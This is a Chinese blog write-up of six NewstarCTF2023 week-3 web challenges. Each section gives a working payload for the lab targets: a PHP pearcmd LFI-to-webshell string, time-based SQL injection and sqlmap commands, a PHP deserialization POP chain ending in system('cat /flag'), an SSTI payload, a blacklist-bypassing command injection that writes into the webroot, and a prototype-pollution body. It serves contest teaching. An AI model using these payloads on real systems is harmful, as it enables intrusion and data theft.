NewstarCTF2023 WEB [WEEK3] 题目及思路

2023-11-23 17:50

本文主要是介绍NewstarCTF2023 WEB [WEEK3] 题目及思路,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1、Include 🍐

 2、medium_sql

3、POP Gadget

4、GenShin

5、R!!!C!!!E!!!

6、OtenkiGirl


1、Include 🍐

提示了LFI to RCE,搜相关资料可知

payoad:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php

然后使用蚁剑链接

157572bbabc441c3b3a2ee19a6e08c3b.png

 2、medium_sql

因为sqlmap跑不出来显示无参数可注入,所以手工注入,无回显采用了时间注入

当传入的ID的参数为and 1=1时,执行的语句为

原本的语句为:select * from users where id='TMP0929'

试到对关键词大小写不敏感

899c0659-0a5a-4123-adff-e1bb16ed1fc6.node4.buuoj.cn:81/?id=TMP0929' AND 1='1

因为1=1为真,且where语句中id=TMP0929也为真,所以页面返回id=TMP0929相同的结果(即物理那个页面)。当传入ID参数为'  AND 1='2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

数据库长度为3

?id=TMP0919' AND if((length(database()))=3,sleEp(5),1)%20 %23

库名ctf

?id=TMP0919' AND if((subsTr(database(),3,1)='f'),sleEp(5),1)%20 %23

只有一个表

?id=TMP0919' AND if((seLect coUnt(*) frOm infOrmAtion_schEma.tAbles whEre tAble_schEma='cTf')=1,sleEp(2),1)%20 %23

表长度为12:

?id=TMP0919' AND if((selEct length((selEct tabLe_nAme from infOrmation_schEma.tAbles wheRe table_schEma='ctf' limit 1,1))=12),sleEp(1),1)%20 %23

表第一个字母为h:

?id=TMP11503' AND if((selEct ascIi(sUbstr((seLect tablE_name frOm infOrmation_scheMa.tAbles whEre Table_scHema='ctf' limit 1,1),1,1)))=104,sleEp(1),1)%20 %23

我服了时间注入恶心死了,一直尝试下去它也是能出出来的,有感兴趣的自己试,我还是去改装一下sqlmap吧

需要加上--temper level和risk都拉满,得到表名为here_is_flag,列名为flag

sqlmap一开始返回的内容是截断的:

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump

整这死出

5133d694f2244a2987178400d205c98d.png

所以还要加上--sql-shell,进行一个交互(--os-shell应该也行)

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump --sql-shell

在交互那一行不断更改数字,自己拼接flag:

sql-shell> SELECT SUBSTR(flag, 1) FROM here_is_flag;

这个命令使用 SUBSTRING 函数从 flag 列中截取第1个字符及其后的内容,以获取完整的 flag 数据 

5fef4968a8f448bcba46149f969fb715.png

3、POP Gadget

题目代码如下

 <?php
class Begin{public $name;public function __destruct(){if(preg_match("/[a-zA-Z0-9]/",$this->name)){echo "Hello";}else{echo "Welcome to NewStarCTF 2023!";}}
}class Then{private $func;public function __toString(){($this->func)();return "Good Job!";}}class Handle{protected $obj;public function __call($func, $vars){$this->obj->end();}}class Super{protected $obj;public function __invoke(){$this->obj->getStr();}public function end(){die("==GAME OVER==");}
}class CTF{public $handle;public function end(){unset($this->handle->log);}}class WhiteGod{public $func;public $var;public function __unset($var){($this->func)($this->var);    }
}@unserialize($_POST['pop']); 

($this->func)($this->var)$this->var 作为参数传递给保存在 $this->func 变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。

pop链如下:

 <?phpclass Begin{public $name;public function __destruct(){}
}class Then{private $func;public function __construct(){$s=new Super();$this->func=$s;}public function __toString(){($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法return "Good Job!";}
}class Handle{protected $obj;public function __construct(){$this->obj=new CTF();//实例化CTF()后给这里的obj赋值}public function __call($func, $vars){$this->obj->end();//调用了CTF()里的end()方法}}class Super{protected $obj;public function __construct(){$this->obj=new Handle();//为protected $obj赋值}public function __invoke(){$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法}public function end(){die("==GAME OVER==");}
}class CTF{public $handle;public function __construct(){$w=new WhiteGod();$this->handle=$w;} public function end(){unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性}}class WhiteGod{public $func='system';public $var="cat /flag";public function __unset($var){($this->func)($this->var);    }
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b)); 

需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。

因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /

整体来说是:

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

payload:

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

4、GenShin

dirsearch扫描出console文件,访问可以进入到登录页面要求输入pin,随便输了123,抓包发现包返回有{"auth": false, "exhausted": false} ,根据英文意思,auth是身份验证,exhausted是耗尽这里应该表示尝试次数是否已经达到上限。当值为 true 时,认证次数已经用尽

爆破密码发现后面返回包是{"auth": false, "exhausted": ture} 。所以我修改返回包为{"auth": ture, "exhausted": false},但是没什么用,然后我改返回包改成{"auth": 1, "exhausted": 0}进入控制台

49a0de9f91fb4058a9b7b268c9af94cd.png

到这里就不会了,以为genshin会是什么关键提示结果这个东西就只是原神,而且一开始方向也错了,后面看了别人wp才知道怎么个事^~^

https://blog.csdn.net/m0_63138919/article/details/133958661?spm=1001.2014.3001.5502

 我们能看见pop /secr3tofpop 猜测这是个文件^~^

进行访问来到一个新页面要求我们传name值,这里就是看出是ssti类的题目了,后面的内容上面的链接和里面的拓展已经解释的很清楚了

payload:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

5、R!!!C!!!E!!!

题目如下:

 <?php
highlight_file(__FILE__);
class minipop{public $code;public $qwejaskdjnlka;public function __toString(){if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){exec($this->code);}return "alright";}public function __destruct(){echo $this->qwejaskdjnlka;}
}
if(isset($_POST['payload'])){//wanna try?unserialize($_POST['payload']);
} 

这里最麻烦的地方是最终无论如何都会return alright,而不是命令执行后的结果。

那么我们就可以采用和第一题差不多的思路让结果写入到html目录下的一个文件,然后我们再去访问这个文件逐步得到flag

首先构造pop链:

<?php
class minipop{public $code="ls /|te''e /var/www/html/2";public $qwejaskdjnlka;public function __toString(){}public function __destruct(){}
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);

exec()执行系统命令ls /查询根目录,te"e /var/www/html/2,双引号绕过preg_match命令照样能执行,tee的作用是把查询到的根目录写入到当前网页下的文件2,我们再次访问文件2即可得到被打印的根目录

8b00a0911493433aa9aec5f3456768dc.png

aff192b495424837995863848583b0f1.png

这里我们就能知道flag在哪个文件,再读取flag写进一个新文件,payload最终如下:

payload=O:7:"minipop":2:{s:4:"code";s:43:"cat /flag_is_h3eeere |te''e /var/www/html/1";s:13:"qwejaskdjnlka";r:1;}

 访问1

21dc2d1401414fbebc435ffc8981b97d.png

6、OtenkiGirl

  js原型链污染可以导致未经授权的修改和访问JavaScript对象的属性和方法。它的发生是由于JS语言中原型继承的特性。在JavaScript中,每个对象都有一个原型(prototype),原型链是一种用于实现继承和属性访问的机制。每个对象都有一个指向其原型的内部链接。当查找对象的属性时,如果该对象本身没有该属性,JavaScript引擎会沿着原型链向上查找,直到找到属性或到达原型链的末端。

接下来解释一下js的继承机制,JavaScript中的原型链继承是一种对象之间共享属性和方法的机制。每个JavaScript对象都有一个指向其原型(prototype)对象的链接,通过这个链接可以实现属性和方法的继承。

当我们访问一个对象的属性或方法时,如果该对象本身没有定义该属性或方法,JavaScript引擎会自动在原型对象中查找。如果原型对象中也不存在,则继续在原型链上的上层原型对象中查找,直到找到该属性或方法或达到原型链的顶端为止。

以下是原型链继承的基本工作原理:

  1. 每个JavaScript对象都有一个内部属性 [[Prototype]],它指向该对象的原型对象。
  2. 当我们创建一个新对象时,JavaScript引擎会自动将该对象的 [[Prototype]] 设置为构造函数的 prototype 属性的值。
  3. 如果我们访问一个对象的属性或方法,但该对象本身没有定义,JavaScript引擎会沿着原型链向上查找,直到找到该属性或方法或到达原型链的顶端(null)为止。
  4. 如果找到了属性或方法,它会被返回;如果未找到,则会返回 undefined

举个例子A有苹果雪梨,B有苹果,C有西瓜,ABC是一个原型链,这个原型链的继承机制相当于你找C要苹果雪梨,C没有去看B,B有苹果没有雪梨,在往上找A,A有雪梨,所以虽然C没有苹果雪梨,但是找C要C还是能从AB那里扣出来苹果雪梨给你,如果ABC都没有才是真没有。

  原型链污染是利用了原型链查找的机制来进行恶意修改。攻击者可以通过篡改JavaScript中的原型对象,将恶意代码注入到原型中,当其他对象通过原型链继承了被污染的原型对象时,它们也会受到影响,从而导致意外的行为或数据泄露。

回到这道题目,我们下载zip文件,首先点开app.js:

const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");const app = new Koa();app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({onerror: function (err, ctx) {// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {ctx.request.body = {}} else {throw err;}}
}));["info","submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });app.listen(PORT, () => {console.info(`Server is running at port ${PORT}...`);
})module.exports = app;

1、在第四行const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");这表明引入了两个配置文件;

2、以下代码表明引入了 routes 文件夹下的两个文件:"info" 和 "submit":

["info","submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

这里使用了一个循环来遍历字符串数组 ["info", "submit"]。对于数组中的每个元素 p,利用 require 函数将位于 "./routes/" + p 的文件导入。这表示 routes 文件夹下的 info.jssubmit.js 文件会被导入到代码中。然后使用 app.use 方法将导入的路由模块应用到 Koa 应用程序中,分别使用了 p.routes()p.allowedMethods(),表示使用路由模块的路由和允许的请求方法。

3、因此我们追踪到routes文件下的info.js和submit.js

info.js代码:

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")async function getInfo(timestamp) {timestamp = typeof timestamp === "number" ? timestamp : Date.now();// Remove test data from before the movie was releasedlet minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();timestamp = Math.max(timestamp, minTimestamp);const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });return data;
}router.post("/info/:ts?", async (ctx) => {if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")return ctx.body = {status: "error",msg: "Content-Type must be application/x-www-form-urlencoded"}if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;if (typeof timestamp !== "number")return ctx.body = {status: "error",msg: "Invalid parameter ts"}try {const data = await getInfo(timestamp).catch(e => { throw e });ctx.body = {status: "success",data: data}} catch (e) {console.error(e);return ctx.body = {status: "error",msg: "Internal Server Error"}}
})module.exports = router;

我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,其意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。

4、我们继续追踪config文件和config.default文件,发现CONFIG 变量中没有min_public_time 属性,所以会使用DEFAULT_CONFIG 变量中的 min_public_time 属性。

config.default文件:

module.exports = {app_name: "OtenkiGirl",default_lang: "ja",min_public_time: "2019-07-09",server_port: 9960,webpack_dev_port: 9970
}

我们这里可以原型链污染污染min_public_time为更早的日期,尝试绕过这个日期限制。

5、查看submit.js文件:

内容很多,这里放关键代码:

const merge = (dst, src) => {if (typeof dst !== "object" || typeof src !== "object") return dst;for (let key in src) {if (key in dst && key in src) {dst[key] = merge(dst[key], src[key]);} else {dst[key] = src[key];}}return dst;
}

我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。这意味着如果src对象的原型链上存在名为'min_public_time'的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']的值,我们可以影响原型链上的属性。

6、因此我们提交那个加入购物车抓包,然后改包在post请求体哪里改成:

{
"date":"1","place":"1",
"contact":"11","reason":"11",
"__proto__": {"min_public_time":" 2018-01-01"}
}

2beed6682fc645209fc2dd3d1f23f591.png

然后回到网页把cookie值会话储存都清空,刷新然后点进会话储存,复制wishes的值出来即可看到flag(不过吧,有个小问题就是后面第二次开靶场的时候用了同样的手法不成功,偷了几个别人wp里的payload用也不成功(O.o?))

26eae9d4b7244d43af9c5fcdbc94cfc0.png

如有错误欢迎指出!

这篇关于NewstarCTF2023 WEB [WEEK3] 题目及思路的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/419688

相关文章

透彻!驯服大型语言模型(LLMs)的五种方法,及具体方法选择思路

引言 随着时间的发展,大型语言模型不再停留在演示阶段而是逐步面向生产系统的应用,随着人们期望的不断增加,目标也发生了巨大的变化。在短短的几个月的时间里,人们对大模型的认识已经从对其zero-shot能力感到惊讶,转变为考虑改进模型质量、提高模型可用性。 「大语言模型(LLMs)其实就是利用高容量的模型架构(例如Transformer)对海量的、多种多样的数据分布进行建模得到,它包含了大量的先验

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

题目1254:N皇后问题

题目1254:N皇后问题 时间限制:1 秒 内存限制:128 兆 特殊判题:否 题目描述: N皇后问题,即在N*N的方格棋盘内放置了N个皇后,使得它们不相互攻击(即任意2个皇后不允许处在同一排,同一列,也不允许处在同一斜线上。因为皇后可以直走,横走和斜走如下图)。 你的任务是,对于给定的N,求出有多少种合法的放置方法。输出N皇后问题所有不同的摆放情况个数。 输入

题目1380:lucky number

题目1380:lucky number 时间限制:3 秒 内存限制:3 兆 特殊判题:否 提交:2839 解决:300 题目描述: 每个人有自己的lucky number,小A也一样。不过他的lucky number定义不一样。他认为一个序列中某些数出现的次数为n的话,都是他的lucky number。但是,现在这个序列很大,他无法快速找到所有lucky number。既然

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

Jenkins 插件 地址证书报错问题解决思路

问题提示摘要: SunCertPathBuilderException: unable to find valid certification path to requested target...... 网上很多的解决方式是更新站点的地址,我这里修改了一个日本的地址(清华镜像也好),其实发现是解决不了上述的报错问题的,其实,最终拉去插件的时候,会提示证书的问题,几经周折找到了其中一遍博文